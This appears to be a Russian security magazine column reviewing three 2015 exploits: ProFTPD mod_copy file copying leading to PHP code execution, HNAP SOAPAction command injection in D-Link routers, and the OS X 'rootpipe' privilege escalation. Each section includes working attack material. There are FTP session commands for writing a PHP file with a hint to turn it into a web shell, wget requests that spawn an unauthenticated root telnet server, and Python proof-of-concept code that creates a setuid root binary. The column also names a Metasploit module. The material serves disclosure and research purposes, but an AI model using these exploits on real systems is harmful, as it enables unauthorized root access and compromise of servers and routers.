Сегодня мы разберем найденный недавно обход аутентификации в популярном FTP-сервере ProFTPD. Он прост, но при этом довольно опасен. Также рассмотрим возможность получения в OS X прав администратора, которую, конечно же, «случайно» оставили в API, и проанализируем прошивки для некоторых устройств D-Link на наличие уязвимостей.
Обход аутентификации в ProFTPD
BRIEF
Дата релиза: 10 апреля 2015 года
Автор: Vadim Melihow
CVE: N/A
CVSSv2
5 (Av:N/Ac:L/Au:N/C:N/I:P/A:N)
Начнем свой обзор с уязвимости в популярном FTP-сервере ProFTPD. Наш соотечественник обнаружил возможность неавторизованным пользователям копировать файлы в пределах пространства сервера с помощью команд site cpfr
и site cpto
модуля mod_copy
. Опасности этой ошибке добавляет то, что уязвимый модуль нельзя отключить через файл конфигурации, а также то, что она открывает возможность для выполнения кода на веб-сервере.
EXPLOIT
Пример копирования файла /etc/passwd
во временную директорию /tmp/passwd.copy
:
Trying 192.168.3.115...
Connected to 192.168.3.115.
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:192.168.3.115]
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
250 Copy successful
Пример выполнения кода на удаленном веб-сервере:
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <!--?php phpinfo(); ?-->
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php
250 Copy successful
Теперь файл test.php содержит следующий текст:
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q (slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q (slon-P5Q.lan[192.168.3.193]): FTP session opened.
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q (slon-P5Q.lan[192.168.3.193]): error opening destination file '/<!--?php phpinfo(); ?-->' for copying: Permission denied
Для создания веб-шелла замени функцию phpinfo()
на нужные тебе :).
TARGETS
ProFTPD 1.3–1.3.5.
SOLUTION
Есть исправление от производителя.
Взлом D-Link DIR-890L
BRIEF
Дата релиза: 10 Апреля 2015 года
Автор: Craig (@devttyS0)
CVE: N/A
CVSSv2
N/A

Автор devttyS0.com опять порадовал нас интересным исследованием роутеров. В сегодняшнем обзоре мы разберем уязвимости в прошивке устройства DIR-890L от компании D-Link. Для этого нам понадобится сама прошивка и уже не раз упоминавшаяся программа binwalk. Обработаем последней полученный архив (результат представлен на скриншоте):
# binwalk DIR890A1_FW103b07.bin

Судя по выводу программы, у нас имеется стандартная прошивка Linux, и она очень похожа на ту, которая используется в D-Link последние несколько лет. Да и структура корневой директории наверняка знакома:
$ ls squashfs-root
bin dev etc home htdocs include lib mnt mydlink proc sbin sys tmp usr var www
Все, что связано с HTTP/UPnP/HNAP, находится в директории htdocs. И наибольший интерес для нас представляет htdocs/cgibin
. Это elf-исполняемый файл для ARM-архитектуры, который выполняется веб-сервером. Помимо этого, все URL-адреса имеют символьные ссылки на него:
$ ls -l htdocs/web/*.cgi
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/captcha.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/conntrack.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlapn.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlcfg.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dldongle.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwup.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwupload.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/hedwig.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/pigwidgeon.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/seama.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/service.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication_logout.cgi -> /htdocs/cgibin
Увы, все это было убрано с помощью команды strip, но некоторые строки все равно могут помочь нам. Первое интересное место находится уже в функции main
, так как здесь происходит сравнение полученного параметра argv[0]
с указанными выше символьными именами (captcha.cgi
, conntrack.cgi
и так далее) и решение, какие команды выполнять вследствие этого. На скриншоте представлено, как эти условия выглядят в графическом представлении. Каждое такое сравнение выполняется с помощью функции strcmp
и содержит указанные имена (рис. 4).


Это позволяет нам с легкостью согласовать каждую функцию с соответствующей символьной ссылкой и переименовать подходящим образом (рис. 5).

С опорой на прошлые уязвимости большинство багов было найдено в HTTP- и UPnP-интерфейсах, и ошибки в них можно будет использовать для устройств со схожей прошивкой. Вследствие этого выбор пал на HNAP, который определен функцией hnap_main
в рассматриваемом нами файле cgibin
и который кажется наиболее выпущенным из виду.
HNAP (Home Network Administration Protocol) — это основанный на SOAP протокол, похожий на UPnP, он обычно используется в D-Link EZ установочных утилитах при начальной настройке роутера. Отличается он от UPnP тем, что все HNAP-действия, исключая GetDeviceInfo
, требуют простую HTTP-авторизацию.
POST /HNAP1 HTTP/1.1
Host: 192.168.0.1
Authorization: Basic YWMEHZY+
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://purenetworks.com/HNAP1/AddPortMapping"
<!--?xml version="1.0" encoding="utf-8"?-->
foobar
192.168.0.100
TCP
1234
1234
Заголовок SOAPAction
очень важен в HNAP-запросах, потому что указывает на то, какое HNAP-действие нужно выполнить (к примеру, AddPortMapping
из указанного выше запроса).
Так как cgibin
исполняется как CGI с помощью веб-сервера, то и hnap_main
получает данные из HNAP-запроса, как SOAPAction
заголовок с некоторыми параметрами. Пример получения этих параметров представлен в дизассемблированном виде на рис. 6:
SOAPAction = getenv("HTTP_SOAPACTION");

Ближе к концу hnap_main
видно, что команда создается динамически с помощью функции sprintf
и выполняется через system
(рис. 7):
sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction);

Из этого становится ясно, что hnap_main
использует данные из SOAPAction
-заголовка как часть команд, переданных в функцию system
. Таким образом, атака через инъекцию команд становится очень вероятной в случае, если полученные данные недостаточно тщательно проверяются и если мы сможем передать нужные нам команды без авторизации.
Перейдем в начало hnap_main
. Вспомним, что для команды GetDeviceSettings
авторизация не нужна (см. рис. 8):
if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") != NULL)

Заметь, что здесь используется функция strstr
, которая проверяет лишь наличие строки http://purenetworks.com/HNAP1/GetDeviceSettings
в запросе, а не полную идентичность заголовка. Рассмотрим, какие команды выполняются в случае успеха сравнения (см. рис. 9):
SOAPAction = strrchr(SOAPAction, '/');

Из кода ясно, что мы определяем, какое действие нам нужно выполнить (в данном случае GetDeviceSettings
), и удаляем кавычки. Далее после получения строки с действием, как уже было определено выше, оно обрабатывается командой sptrinf
и передается в system
. Ниже представлен С-подобный код всех описанных выше действий:
/* Указать на заголовок SOAPAction*/
SOAPAction = getenv("HTTP_SOAPACTION");
/* Пропускаем авторизацию, если есть строка "http://purenetworks.com/HNAP1/GetDeviceSettings" в заголовке*/
if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") == NULL)
{
/* do auth check */
}
/* Реверсивный поиск с последнего символа / в заголовке */
SOAPAction = strrchr(SOAPAction, '/');
if(SOAPAction != NULL)
{
/* Указатель на один байт после последнего символа / */
SOAPAction += 1;
/* Удаляем кавычки */
if(SOAPAction[strlen(SOAPAction)-1] == '"')
{
SOAPAction[strlen(SOAPAction)-1] = '';
}
}
else
{
goto failure_condition;
}
/* Составляем команду из строки, найденной в заголовке */
sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction);
system(command);
Две важные вещи, определенные в ходе анализа этого кода:
- Заголовок должен содержать строку
http://purenetworks.com/HNAP1/GetDeviceSettings
. - Строка, передаваемая в функцию
sprintf
(и затем в желанныйsystem
), всегда находится после последнего символа/
из заголовкаSOAPAction
.
Таким образом, мы с легкостью можем составить атакующий запрос, который обойдет проверку авторизации и выполнится в system
:
SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`"
После обработки наша строка будет выглядеть так:
system("sh /var/run/`reboot`.sh > /dev/console");
Заменив reboot
на telnetd
, мы получим Telnet-сервер с root-правами и без авторизации:
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"' http://192.168.0.1/HNAP1
$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.
Если на устройстве включено удаленное администрирование, то есть HNAP можно выполнять через WAN, у нас открывается вектор удаленной атаки — если, конечно, в правилах файрвола не прописано блокировать входящие Telnet-соединения из внешней сети. Хотя и тут есть выход. Нужно убить HTTP-сервер и заменить этот порт на Telnet:
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`"' http://1.2.3.4:8080/HNAP1
$ telnet 1.2.3.4 8080
Trying 1.2.3.4...
Connected to 1.2.3.4.
Escape character is '^]'.
BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.
Основное исследование проводилось только для модели DIR-890L, но после автоматизации поиска бага автор с помощью своей команды Centrifuge обнаружил еще уязвимые устройства от этого же производителя, их список указан в соответствующем разделе.
Автором также были проверены прошивки как версии v1.00, так и v1.03 (она была последней на момент написания статьи), и они обе оказались уязвимыми.
EXPLOIT
Для упрощения атаки был написан небольшой Python-скрипт:
...
command = "killall httpd; killall hnap; telnetd -p %s" % port
headers = {
"SOAPAction" : '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % command,
}
req = urllib2.Request(url, None, headers)
try:
urllib2.urlopen(req)
raise Exception("Unexpected response")
except httplib.BadStatusLine:
print "Exploit sent, try telnetting to %s:%s!" % (ip, port)
print "To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'"
...
В блоге автора ты сможешь найти полный текст эксплойта и прочитать заметку, что похожая уязвимость уже была найдена ранее и тоже в устройстве D-Link, но только для одной модели — DIR-645.
TARGETS
- DIR-890L;
- DAP-1522 revB;
- DAP-1650 revB;
- DIR-880L;
- DIR-865L;
- DIR-860L revA;
- DIR-860L revB;
- DIR-815 revB;
- DIR-300 revB;
- DIR-600 revB;
- DIR-645;
- TEW-751DR;
- TEW-733GR.
SOLUTION
На момент написания статьи о патче не было известно.
Получение прав администратора в OS X через API от Admin framework
BRIEF
Дата релиза: 9 апреля 2015 года
Автор: Emil Kvarnhammar
CVE: 2015-1130
CVSSv2
N/A
Admin Framework в ОС OS X содержит скрытый бэкдор API для получения прав администратора. Как пишет автор, эта возможность существует несколько лет (примерно с 2011 года), а уязвимость он нашел в октябре 2014-го и мог получить root-права для любого пользователя в системе. На это исследование его подвигло желание показать, что OS X может быть взломана так же легко, как и другие системы. Для первой своей демонстрации он использовал эксплойт, основанный на уязвимости CVE-2013-1775 (о которой я уже писал в нашем журнале):
$ sudo -k;systemsetup -setusingnetworktime Off -settimezone GMT -setdate 01:01:1970 -settime 00:00;sudo su
Автор вместе со своим другом Филипом Окессоном (Philip Åkesson) исследовал патч, который выпустили разработчики. Исправление заключалось в том, что теперь для запуска утилиты systemsetup
нужны права администратора. И если попробовать запустить ее, то увидим следующую запись:
$ systemsetup
You need administrator access to run this tool... exiting!
Это сообщение кажется немного неправильным: мы и так запускаем ее из-под администратора, потому что пользователь, который создается во время установки OS X, становится администратором по умолчанию (не путать с получением прав root от sudo).
Как бы то ни было, это сообщение говорит нам о правах root для выполнения этой команды. Вследствие этого автор попытался найти код такой проверки, используя дизассемблер Hopper (см. рис. 10).

Чтобы проверить, нужная ли часть кода была найдена, эта функция была успешно пропатчена (заменили sete на setne).
$ systemsetup
> systemsetup
> type -help for help.
Но в итоге мы просто вернулись к функционалу, схожему с предыдущей версией systemsetup (которая была в версиях 10.8.5 и ниже).
Интерес же исследования именно этой утилиты заключается в особом функционале, который она поддерживает. Например, следующая команда:
systemsetup –setremotelogin on
позволяет включить SSH-сервер на порту 22. Ты, конечно, можешь включить SSH и с помощью launchctl, но в последнем случае требуются root-права. То есть тут существенная разница в правах доступа.
Благодаря найденному противоречию автор продолжил дизассемблирование systemsetup. В результате был найден метод [ServerSettings setRemoteLogin:]
, который соответствовал команде setremotelogin
. Эта функция делает некоторую проверку введенных данных и затем вызывает [InternetServices setSSHServerEnabled:]
. Все это реализовано в Admin Framework (используется в systemsetup). После анализа этого фреймворка было обнаружено, что интерфейс InternetServices
поддерживает не только метод setSSHServerEnabled
, но и также старт/остановку других сервисов. Ниже представлена часть этого списка:
+[InternetServices sharedInternetServices]
+[InternetServices sharedInternetServices].sSharedInternetServices
-[InternetServices _netFSServerFrameworkBundle]
-[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundle
-[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundleOnce
-[InternetServices faxReceiveEnabled]
-[InternetServices ftpServerEnabled]
-[InternetServices httpdEnabled]
...
-[InternetServices setFTPServerEnabled:]
-[InternetServices setFaxReceiveEnabled:]
-[InternetServices setGuestForProtocol:enabled:]
-[InternetServices setHttpdEnabled:]
-[InternetServices setInetDServiceEnabled:enabled:]
-[InternetServices setNSCProtocols:enabled:]
-[InternetServices setOpticalDiscSharingEnabled:]
-[InternetServices setRemoteAEServerEnabled:]
-[InternetServices setSSHServerEnabled:]
-[InternetServices setScreensharingEnabled:]
-[InternetServices sshServerEnabled]
_OBJC_CLASS_$_InternetServices
_OBJC_METACLASS_$_InternetServices
___47-[InternetServices _netFSServerFrameworkBundle]_block_invoke
Некоторые из них, такие как setHttpdEnabled и setSSHServerEnabled, во время выполнения используют общий вспомогательный метод [ADMInternetServices setInetDServiceEnabled:enabled:]
.
При дальнейшем анализе фреймворка был найден следующий интересный код (рис. 11).

Он создает файл с настройками Apache для гостевых аккаунтов. При этом заметь, что владельцем файла является root:
$ ls -l /etc/apache2/users/
total 8
-rw-r--r-- 1 root wheel 139 Apr 1 05:49 std.conf
Рассмотрим последний Obj-C метод, который был вызван на предыдущем скриншоте createFileWithContents:path:attributes:
. В качестве входящих параметров он принимает массив байтов (данные для записи), путь к файлу и POSIX-атрибуты. То есть примерно так:
[tool createFileWithContents:data
path:[NSString stringWithUTF8String:target]
attributes:@{ NSFilePosixPermissions : @0777 }];
Возникает вопрос, как мы можем обратиться к магическому tool. Если посмотреть в начало этого кода, то вот соответствующий код:
id sharedClient =
[objc_lookUpClass("WriteConfigClient") sharedClient];
id tool = [sharedClient remoteProxy];
Но если повторить эти конструкции в своем коде, то получим ошибку:
### Attempt to send message without connection!
Далее автор нашел место, где эта строка печатается (рис. 12).

В нем проверяется, был ли XPC-прокси инициирован внутри нашего процесса. Поэтому давай найдем местонахождения _onewayMessageDispatcher
внутри инициализированного кода (см. рис. 13).

Рассмотрим метод authenticateUsingAuthorization
, где происходит фактическая инициализация (рис. 14).

Это как раз то, что было нужно. Данный код создает XPC-клиент в сервисе writeconfig (рис. 15), который запускается с правами root.

Теперь возникает вопрос, нужно ли отправлять аргумент в метод authenticateUsingAuthorization
. После повторного анализа исполняемого файла был найден следующий код (см. рис. 16).

Исходя из него, кажется, что мы можем обмануть [SFAuthorization authorization]
. Ниже представлен модифицированный код эксплойта для новой попытки:
id auth = [objc_lookUpClass("SFAuthorization") authorization];
id sharedClient =
[objc_lookUpClass("WriteConfigClient") sharedClient];
[sharedClient authenticateUsingAuthorizationSync: auth];
id tool = [sharedClient remoteProxy];
[tool createFileWithContents:data
path:[NSString stringWithUTF8String:target]
attributes:@{ NSFilePosixPermissions : @04777 }];
В результате у нас получилось создать Sync-вариант authenticateUsingAuthorization
со схожим функционалом и установить POSIX-права в 4777, который создал файл:
-rwsrwxrwx 1 root wheel 25960 Apr 1 19:29 rootpipe.tmp
Так как у этого файла имеется setuid-бит и владелец (на root), мы получаем повышение привилегий. Как сообщает автор, первые версии эксплойта он написал для 10.7.x и 10.8.x, где имена классов и методов отличались. Имена же из указанного выше примера используются в 10.9.
Правда, у этого кода есть небольшое ограничение — он работает только для пользователей с правами администратора. Но, как я уже упомянул ранее, большинство пользователей в OS X являются администраторами (да и вряд ли имеют больше одного пользователя в системе). Если же попробовать запустить его из-под непривилегированного пользователя, то получим следующую ошибку:
### authenticateUsingAuthorizationSync error:Error Domain=com.apple.systemadministration.authorization Code=-60007 "The operation couldn’t be completed. (com.apple.systemadministration.authorization error -60007.)"
Автор не остановился на этом и нашел возможность запуска для всех пользователей. Из-за особой реализации языка Objective-C для этого достаточно отправить nil
в authenticateUsingAuthorizationSync
, вместо использования результата метода [SFAuthorization authorization]
:
[sharedClient authenticateUsingAuthorizationSync: nil];
Теперь перейдем к практической реализации.
EXPLOIT
Для PoC автор использовал Python. Ниже я приведу основные строки из него. Помимо стандартных библиотек, к примеру sys
, os
, нам понадобятся следующие:
import ctypes
import objc
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
from Foundation import NSAutoreleasePool
Функция для загрузки библиотек из Admin Framework:
def load_lib(append_path):
return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);
Устанавливаем параметры:
pool = NSAutoreleasePool.alloc().init()
attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)
Загружаем библиотеку, определяем клиент к writeconfig
и в итоге можем создать файл с нужными нами параметрами, то есть который будет с любым содержимым, setuid-битом и владельцем root:
adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
WriteConfigClient = objc.lookUpClass("WriteConfigClient")
client = WriteConfigClient.sharedClient()
client.authenticateUsingAuthorizationSync_(None)
tool = client.remoteProxy()
tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
Полный текст эксплойта с примером запуска на версиях со старым API ты можешь найти в блоге автора. На рис. 17 приведен пример его запуска в одной из версий OS X.

Помимо Python-версии эксплойта, разработчики Metasploit довольно быстро написали соответствующий модуль
msf > use exploit/osx/local/rootpipe
TARGETS
- OS X 10.7–10.10.2.
SOLUTION
Есть исправление от производителя.